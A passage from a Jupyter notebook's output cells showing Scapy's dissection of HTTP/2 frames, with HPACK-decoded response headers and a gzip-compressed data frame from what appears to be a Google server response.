12L\\\\x8cx\\\\x89\\\\x8d\\\\xff\\\\'\\\\xf0\\\\x7f\\\\x01\\\\xa9\\\\x9a\\\\xd7%#(\\\\x00\\\\x00'\\n\",\n        \"     padding   = '\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'\\n\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\n\",\n        \"###[ HTTP/2 Frame Sequence ]### \\n\",\n        \"  \\\\frames    \\\\\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = 0xe1\\n\",\n        \"   |  type      = HdrsFrm\\n\",\n        \"   |  flags     = set(['End Headers (EH)'])\\n\",\n        \"   |  reserved  = 0L\\n\",\n        \"   |  stream_id = 3L\\n\",\n        \"   |###[ HTTP/2 Headers Frame ]### \\n\",\n        \"   |     \\\\hdrs      \\\\\\n\",\n        \"   |      |###[ HPack Dynamic Size Update ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  max_size  = 12288\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 8\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 59\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 11\\n\",\n        \"   |      |   |  data      = 'HPackZString(Accept-Encoding)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 26\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 3\\n\",\n        \"   |      |   |  data      = 'HPackZString(gzip)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 31\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 9\\n\",\n        \"   |      |   |  data      = 'HPackZString(image/x-icon)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 33\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 22\\n\",\n        \"   |      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 36\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 22\\n\",\n        \"   |      |   |  data      = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 44\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 22\\n\",\n        \"   |      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 0\\n\",\n        \"   |      |  \\\\hdr_name  \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 16\\n\",\n        \"   |      |   |  data      = 'HPackZString(x-content-type-options)'\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 5\\n\",\n        \"   |      |   |  data      = 'HPackZString(nosniff)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 54\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 3\\n\",\n        \"   |      |   |  data      = 'HPackZString(sffe)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 28\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 3\\n\",\n        \"   |      |   |  data      = 'HPackZString(1494)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 0\\n\",\n        \"   |      |  \\\\hdr_name  \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 12\\n\",\n        \"   |      |   |  data      = 'HPackZString(x-xss-protection)'\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 10\\n\",\n        \"   |      |   |  data      = 'HPackZString(1; mode=block)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 24\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 16\\n\",\n        \"   |      |   |  data      = 'HPackZString(public, max-age=691200)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 21\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 5\\n\",\n        \"   |      |   |  data      = 'HPackZString(472252)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 0\\n\",\n        \"   |      |  \\\\hdr_name  \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 5\\n\",\n        \"   |      |   |  data      = 'HPackZString(alt-svc)'\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 28\\n\",\n        \"   |      |   |  data      = 'HPackZString(quic=\\\":443\\\"; ma=2592000; v=\\\"35,34\\\")'\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = 0x5d6\\n\",\n        \"   |  type      = DataFrm\\n\",\n        \"   |  flags     = set(['End Stream (ES)'])\\n\",\n        \"   |  reserved  = 0L\\n\",\n        \"   |  stream_id = 3L\\n\",\n        \"   |###[ HTTP/2 Data Frame ]### \\n\",\n        \"   |     data      = '\\\\x1f\\\\x8b\\\\x08\\\\x00\\\\x00\\\\tn\\\\x88\\\\x02\\\\xff\\\\xbcX{PTU\\\\x18?\\\\xa6\\\\x8d\\\\x89\\\\xa5\\\\xf4G\\\\xff5\\\\x13\\\\xf60\\\\xffh\\\\xcc1\\\\x11\\\\xc7L\\\\xb3\\\\x07>\\\\xffp\\\\x94\\\\x10L\\\\x1b\\\\xd3L+kF\\\\'\\\\xb5\\\\x19\\\\xc7Rg\\\\xc2\\\\xb4@KtD _\\\\x91\\\\x80\\\\x8e\\\\x82\\\\x8a\\\\xa8\\\\x83\\\\nhI\\\\xa9\\\\xa8\\\\x08B\\\\x98\\\\xaf|\\\\xdf]`\\\\xc1}\\\\xb0{\\\\xf7;\\\\xbf\\\\xe6\\\\\\\\\\\\xeee\\\\xee\\\\xde\\\\xbd\\\\x97\\\\xdd\\\\xb5\\\\xb53\\\\xf3\\\\rg\\\\xcf\\\\xfd\\\\xbe\\\\xefw\\\\xcew\\\\xbe\\\\xd7\\\\x81\\\\xb1n\\\\xec1\\\\x16\\\\x1b+\\\\xfe\\\\xc6\\\\xb1y=\\\\x18\\\\xeb\\\\xcf\\\\x18\\\\x8b\\\\x8b\\\\xeb\\\\xf8\\\\x9d\\\\x1f\\\\xcbXF\\\\x0f\\\\xc6\\\\x060\\\\xc6b\\\\xc5:\\\\xebXWF\\\\x0f\\\\x16r\\\\x00\\\\x18DD\\\\x1b\\\\x89\\\\xa8\\\\x81\\\\x88\\\\xbc*\\\\xd5\\\\x13Q&\\\\xe7|\\\\xa0\\\\x95\\\\x1c\\\\xe7\\\\xbc\\\\x17\\\\x11e!\\\\xc4 \\\\xa2\\\\r\\\\x00\\\\x9e0\\\\x91\\\\xad\\\\x10\\\\xdf}\\\\xe4\\\\xc5\\\\x81\\\\xbfvb\\\\xf1\\\\x91\\\\x19H\\\\xd95\\\\x1c)\\\\x85\\\\xc3\\\\xb1\\\\xf0P*v\\\\xd7\\\\xe5\\\\xa2]vk:\\\\x8e\\\\xebuh\\\\xb8v\\\\xd7},(M\\\\xc1\\\\x94\\\\xfc!\\\\xa6\\\\x94\\\\xb17\\\\x05\\\\xdcq\\\\xafs\\\\x1f\\\\xday\\\\x15\\\\\\\\\\\\xbf\\\\x17\\\\x0bJ\\\\xa7*|\\\\x02s\\\\xfb\\\\xf9\\\\x1fQ{\\\\xff\\\\x0c.I\\\\xd5(\\\\xac\\\\xcdF\\\\xd6\\\\x8e\\\\xf1p\\\\xa4\\\\x8d\\\\x86;w.\\\\xc0\\\\xb9\\\\xa2C\\\\xd8\\\\x83\\\\x886\\\\x89\\\\xf9\\\\xeaKg1\\\\xa1p,\\\\x92\\\\x0b\\\\x87\\\\xa1N\\\\xaa\\\\x0e>\\\\xf7\\\\x9d\\\\x068W%\\\\xc2\\\\xf9\\\\xed[\\\\xf07\\\\x9c\\\\xd0\\\\xf6\\\\x90ID\\\\x8db\\\\xfe\\\\xca\\\\xc9V<]\\\\xd6\\\\x84\\\\xf4\\\\x0bE\\\\x96\\\\xb6k\\\\xdf\\\\xb3R\\\\x91o/I\\\\xd7\\\\xe4\\\\xc5\\\\xbd\\\\xf8\\\\xc4<\\\\xe6\\\\xa8\\\\x8c\\\\xc7\\\\xcbd\\\\x94\\\\xd8x\\\\x80\\\\x8c\\\\xe07\\\\x92\\\\xe7\\\\xd7E\\\\x9a\\\\xbcW\\\\x93\\\\xef}\\\\xacC\\\\xfe\\\\xa0=\\\\x0c\\\\xf9\\\\xc2\\\\xa5z\\\\xf9\\\\xcbb\\\\x1e\\\\xff\\\\x87\\\\x1f1\\\\xfb\\\\xbc\\\\xf8\\\\xec\\\\x177\\\\xc2\\\\x1d\\\\xaa\\\\x8f)w\\\\xf7\\\\xd39\\\\x19\\\\t\\\\x93\\\\xed\\\\x18\\\\x96(\\\\xe1|\\\\xad\\\\xcf\\\\x84\\\\xd7T~#\\\\xe7|\\\\xb0\\\\x98{\\\\xbd\\\\x1c\\\\xc9\\\\xb3\\\\x9a\\\\x10\\\\xff\\\\xb6\\\\x84\\\\xd7\\\\xc7\\\\xd9\\\\xb0!\\\\xc7\\\\x89s5>\\\\\\\\\\\\xa8\\\\xf5ac\\\\xae\\\\x13\\\\x93?h\\\\xc2\\\\x8d\\\\x9b~\\\\xa3\\\\x8aA\\\\xaa\\\\xff\\\\xe4\\\\x8a\\\\x1f\\\\xf7$B\\\\xca\\\\xecfE\\\\x87\\\\x19\\\\xcd_\\\\xec\\\\xd0co\\\\xd2\\\\xc5L\\\\x0c\\\\x11\\\\x9d\\\\xd0\\\\xf6\\\\x91\\\\xb7\\\\xdb\\\\x8d\\\\x19\\\\x9f4c\\\\xc4x\\\\x1b\\\\x86\\\\x8f\\\\x910\\\\xed\\\\xe3fl/p)\\\\xdfT\\\\xd9\\\\n\\\\xe1\\\\xf3\\\\x86\\\\xb8\\\\x8b\\\\xd1\\\\xf6\\\\x11\\\\xc2fYFYC,\\\\r\\\\x16<\\\\xe2^\\\\xc4\\\\xdd\\\\xaa\\\\xd4\\\\xa8\\\\xfa\\\\xe9 #\\\\xbf\\\\xa3/c\\\\xe5\\\\xdd\\\\x19[\\\\xde\\\\xad\\\\x83B\\\\r\\\\x8dO\\\\xc8\\\\x08\\\\xd9\\\\x01j\\\\x8eyS\\\\x9fgb\\\\xd9C\\\\x0f\\\\xce\\\\xf9S\\\\x9c\\\\xf3\\\\xa9\\\\xea\\\\x19\\\\xaa\\\\x88H\\\\xd2\\\\xe5!I]\\\\x136H\\\\x06\\\\xf0$\\\\x8b\\\\xd2\\\\xe0\\\\x9c\\\\xbfHD9D\\\\xe4\\\\x8a\\\\xc0\\\\x7f]D\\\\xb4\\\\x99s\\\\xfe\\\\xc2\\\\x7f\\\\xc0\\\\x15\\\\xb9o\\\\r\\\\x11\\\\xc9x\\\\xc8\\\\xa1\\\\xde\\\\xf1*c^\\\\r\\\\xf3\\\\xcc5\\\\x88\\\\xd2 \\\\xa2\\\\xf3\\\\x00\\\\x9e\\\\x0f\\\\x07[\\\\xad3\\\\x92\\\\x99\\\\x1e\\\\xc9y\\\\x07{\\\\xeb\\\\xb7ae\\\\xf9|\\\\xcc)\\\\x1e\\\\xa7\\\\xe4\\\\xd4\\\\xe4\\\\x82\\\\x04\\\\xcc.J\\\\xc4\\\\xb2\\\\xa3s\\\\x90W\\\\xb3\\\\x01W\\\\x9b\\\\x1b\\\\xac\\\\xf6p\\\\x8fs\\\\xfej\\\\x18\\\\xe7\\\\x0e\\\\xc2\\\\xb6\\\\xb9\\\\xeeb\\\\xed\\\\xefK\\\\x91T0\\\\xd4\\\\xb2\\\\x86\\\\xe8\\\\xe9\\\\xebcsq\\\\xa5\\\\xb9\\\\xdet\\\\x0fVvP\\\\xe3\\\\xfc\\\\xa2Q\\\\xe6\\\\xe4\\\\x8d\\\\xc3\\\\x98\\\\xbe{dX\\\\xb8z\\\\x12v)\\\\xae\\\\xc9\\\\xb6\\\\xba\\\\x8b \\\\x7f \\\\xa2\\\\xef\\\\x8d\\\\xbc\\\\xc5\\\\r;\\\"\\\\xc6\\\\xd5hf^<\\\\xfe\\\\xcc\\\\x18\\\\to\\\\xc5\\\\x16\\\\xb3=\\\\xac2\\\\xd8\\\\xfd%\\\\xa3\\\\x9fW^/\\\\xb5\\\\xd4\\\\xfd\\\\xc5\\\\xc1$l\\\\xa9NGic!\\\\x0e]\\\\xde\\\\xa5\\\\xdc\\\\xfb\\\\xd2\\\\xb2\\\\x8f\\\\x90\\\\x94\\\\x1f\\\\xaf|_\\\\xb25\\\\x017W\\\\x8f\\\\xee\\\\xacKZ]\\\\xd5\\\\xc7\\\\x85>6\\\\x8d\\\\xf9U\\\\xf8\\\\xd9\\\\xfb&6\\\\x9f\\\\xbbo\\\"\\\\xce\\\\xdc\\\\xae\\\\xb4\\\\xf4\\\\xf3\\\\xeb-\\\\x8d\\\\xc8/\\\\x9e\\\\x8dVC]t\\\\xadK\\\\x02\\\\xf7\\\\xba\\\\x8d{\\\\xd8\\\\xac\\\\x9e\\\\xbd\\\\x0f\\\\x11\\\\x05|\\\\\\\\yjm\\\\x10\\\\xf6\\\\xa2\\\\xc3\\\\xd3\\\\xd1\\\\xe6u\\\\x84\\\\x0e6\\\\xbf\\\\x0f\\\\x9e\\\\x9dK\\\\x82j\\\\xb3\\\\xaf\\\\xaa (G\\\\x89<\\\\xc99O\\\\xd5\\\\xaf_ss\\\\xf4*s\\\\xe3\\\\xb5\\\\xa2\\\\xb4N\\\\xecYE\\\\x89h\\\\xf1\\\\xd8\\\\xc3\\\\x8ew\\\\xeey\\\\xa0\\\\x9cY\\\\x8f\\\\xef\\\\xce\\\\x9a\\\\x19\\\\xcc\\\\xc7y\\\\xb2\\\\xc8\\\\xad\\\\xfa\\\\xb5\\\\xef\\\\xae\\\\x91\\\\xd2o\\\\x08\\\\xeaW\\\\xb2\\\\x1f\\\\x93\\\\xf2G\\\\xa0\\\\xecJQ\\\\xc49\\\\xc7w*?\\\\xc8\\\\x06\\\\xdcq7\\\\xa8f\\\\x12\\\\xd1i\\\\xfd\\\\xda\\\\x98j\\\\x7f\\\\'\\\\xbe\\\\xa0\\\\x81\\\\x95\\\\xb7 \\\\x93/\\\\xf2\\\\x9c\\\\']\\\\r\\\\xc2\\\\x97\\\\xeb+\\\\x8c\\\\xf8\\\\xa2f\\\\x05\\\\x18\\\\xf6\\\\xd9J9\\\\x00?\\\\xa5\\\\xc6\\\\xdf%\\\\x8eY\\\\x1ffE\\\\xbe\\\\xaaB#\\\\xbe\\\\xa4\\\\xf5y\\\\xda\\\\xe8y4\\\\x10\\\\x7f\\\\xd9\\\\xdf\\\\x145|c.\\\\xd0\\\\xf7\\\\x99\\\\xff\\\\x07\\\\xbe\\\\xef\\\\xb7<3\\\\xfc\\\\xa6\\\\xae\\\\xec\\\\x9fz1z\\\\xf6\\\\x97\\\\xeb\\\\x8e\\\\x9b\\\\xd9?\\\\xc0\\\\xff\\\\x12\\\\xcf\\\\x06\\\\xfa_\\\\xbf=^\\\\xc82\\\\x1e\\\\xc9P\\\\xfd/ \\\\xfe\\\\xd2t\\\\xf1\\\\xf7\\\\xccz\\\\x17\\\\x86\\\\x8c\\\\xb3a\\\\xff!\\\\xcf\\\\xa3\\\\xc2\\\\x17\\\\xfd\\\\xda4\\\\xfd\\\\xda\\\\x157G\\\\xcf\\\\xc32\\\\xe2\\\\x96\\\\xb4v\\\\xf6\\\\xd7c\\\\xdf\\\\xb3\\\\xa3\\\\xd9AQ\\\\xc7\\\\x17\\\\xfd$\\\\x80\\\\xbeD\\\\x14p\\\\xc0\\\\xcf\\\\xd79\\\\x83z\\\\xfc\\\\x0f\\\\xe7\\\\xb7\\\\xa0\\\\xad\\\\x8d\\\\x87\\\\xd4\\\\xe9t\\\\xf1\\\\xb0{D\\\\xd1\\\\xd3\\\\xaa\\\\xf5\\\\' 0n\\\\xdd\\\\xf1\\\\xe3\\\\x8d\\\\xf1\\\\xb6\\\\xa0=L\\\\x9a\\\\xde\\\\x84\\\\xaa3^K\\\\x9d\\\\xa7N{11\\\\xc5\\\\x8e\\\\x1f2\\\\x1f\\\\x84\\\\x83\\\\x9f\\\\xa3\\\\xab\\\\xbf/\\\\x13Q\\\\x80\\\\xa3\\\\x97\\\\x1c\\\\xf1X\\\\xbewR\\\\xe74c}\\\\xb6\\\\x13{\\\\x0ex\\\\xb0\\\\xb7\\\\xc4\\\\x83\\\\xccl\\\\xa7\\\\xf2\\\\x96\\\\xd1\\\\xf3\\\\xa4e\\\\xb4i\\\\xcfa3lY\\\\xf4Z\\\\x86\\\\xfe#\\\\xdd\\\\xc8\\\\xb7u\\\\xa7\\\\xcbr\\\\x0f\\\\xe1\\\\xd0\\\\x8a5mV\\\\xf8kLz\\\\xbf\\\\xdeDTg\\\\xe4\\\\x15v\\\\x189\\\\xc1\\\\x161\\\\xf6\\\\xa8\\\\x896\\\\x1c9\\\\xden\\\\x86]c\\\\xf5N\\\\xe3\\\\x9c\\\\xf7\\\\'\\\"\\\\x9bQ\\\\xe6\\\\xf6]?\\\\xbeZ\\\\xd1\\\\x8a\\\\xa1\\\\xef\\\\x84\\\\xc6\\\\x15<\\\\x8b\\\\xbfiUdL\\\\xb0%\\\\xa3\\\\xdd-\\\\xde\\\\x8963\\\\xbb\\\\t\\\\xbf\\\\xfc9\\\\xcf\\\\x85O\\\\xbft(1)\\\\xde\\\\xe4\\\\t\\\\xefJH\\\\x9cb\\\\xc7\\\\xbc\\\\x85-\\\\xd8\\\\xbc\\\\xcd\\\\x85\\\\x7fn\\\\xf9\\\\xadl.\\\\x99\\\\xbd3\\\\xbb\\\\xb0C]\\\\x14\\\\xf3LM\\\\xa8s[\\\\xf4\\\\xe3\\\\xe9\\\\xc6\\\\xb8\\\\x88\\\\x10W\\\\x16}uW\\\\xef\\\\xf20l!bs\\\\x8b1G\\\\x85\\\\xc0u\\\\x8b\\\\x9eV\\\\xf4\\\\xd5Q|\\\\x07\\\\xf7\\\\x11\\\\xb9Z}\\\\x0b\\\\x9f\\\\x16uS\\\\xf7\\\\x7f\\\\x04\\\\xbb\\\\xba\\\\x96#\\\\xfaI\\\\xc1\\\\x1b\\\\xb6\\\\x9d\\\\xcb\\\\xbb\\\\x03\\\\x8c\\\\xc1\\\\xcf\\\\xd8\\\\xa8v\\\\xc6\\\\x9es0\\\\xd6\\\\xf7:c=\\\\xcb\\\\x19\\\\xeb.h9c\\\\xdd\\\\x04E\\\\xba_MN\\\\xd3#t\\\\n\\\\xdd\\\\x02C`\\\\tL\\\\x81\\\\xfdo\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xc6\\\\xf9Yo6\\\\x15\\\\x00\\\\x00'\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = 0x167\\n\",\n        \"   |  type      = HdrsFrm\\n\",\n        \"   |  flags     = set(['End Headers (EH)'])\\n\",\n        \"   |  reserved  = 0L\\n\",\n        \"   |  stream_id = 1L\\n\",\n        \"   |###[ HTTP/2 Headers Frame ]### \\n\",\n        \"   |     \\\\hdrs      \\\\\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 8\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 33\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 22\\n\",\n        \"   |      |   |  data      = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 36\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Literal\\n\",\n        \"   |      |   |  len       = 2\\n\",\n        \"   |      |   |  data      = 'HPackLiteralString(-1)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 24\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 13\\n\",\n        \"   |      |   |  data      = 'HPackZString(private, max-age=0)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 31\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 22\\n\",\n        \"   |      |   |  data      = 'HPackZString(text/html; charset=ISO-8859-1)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 0\\n\",\n        \"   |      |  \\\\hdr_name  \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Literal\\n\",\n        \"   |      |   |  len       = 3\\n\",\n        \"   |      |   |  data      = 'HPackLiteralString(p3p)'\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 81\\n\",\n        \"   |      |   |  data      = 'HPackZString(CP=\\\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\\\")'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 78\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 54\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Literal\\n\",\n        \"   |      |   |  len       = 3\\n\",\n        \"   |      |   |  data      = 'HPackLiteralString(gws)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 28\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 3\\n\",\n        \"   |      |   |  data      = 'HPackZString(4420)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 72\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 0\\n\",\n        \"   |      |  \\\\hdr_name  \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 11\\n\",\n        \"   |      |   |  data      = 'HPackZString(x-frame-options)'\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 9\\n\",\n        \"   |      |   |  data      = 'HPackZString(SAMEORIGIN)'\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 55\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   | 